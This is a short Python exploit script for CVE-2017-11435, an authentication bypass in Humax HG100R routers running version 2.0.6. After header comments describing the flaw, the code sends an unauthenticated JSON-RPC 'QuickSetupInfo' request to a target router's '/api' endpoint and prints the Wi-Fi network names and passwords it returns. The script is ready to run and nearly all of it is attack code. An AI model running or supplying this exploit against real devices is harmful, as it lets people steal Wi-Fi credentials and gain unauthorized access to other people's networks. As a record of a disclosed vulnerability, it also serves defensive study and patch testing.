# coding: utf-8
# Exploit Title: Humax HG100R-* Authentication Bypass
# Date: 14/09/2017
# Exploit Author: Kivson
# Vendor Homepage: http://humaxdigital.com
# Version: VER 2.0.6
# Tested on: OSX Linux
# CVE : CVE-2017-11435
# The Humax Wi-Fi Router model HG100R-* 2.0.6 is prone to an authentication bypass vulnerability via specially
# crafted requests to the management console. The bug is exploitable remotely when the router is configured to
# expose the management console.
# The router is not validating the session token while returning answers for some methods in url '/api'.
# An attacker can use this vulnerability to retrieve sensitive information such
# as private/public IP addresses, SSID names, and passwords.
import sys
import requests
def print_help():
print('Exploit syntax error, Example:')
print('python exploit.py http://192.168.0.1')
def exploit(host):
print(f'Connecting to {host}')
path = '/api'
payload = '{"method":"QuickSetupInfo","id":90,"jsonrpc":"2.0"}'
response = requests.post(host + path, data=payload)
response.raise_for_status()
if 'result' not in response.json() or 'WiFi_Info' not in response.json()['result'] or 'wlan' not in \
response.json()['result']['WiFi_Info']:
print('Error, target may be no exploitable')
return
for wlan in response.json()['result']['WiFi_Info']['wlan']:
print(f'Wifi data found:')
print(f' SSID: {wlan["ssid"]}')
print(f' PWD: {wlan["password"]}')
def main():
if len(sys.argv) < 2:
print_help()
return
host = sys.argv[1]
exploit(host)
if __name__ == '__main__':
main()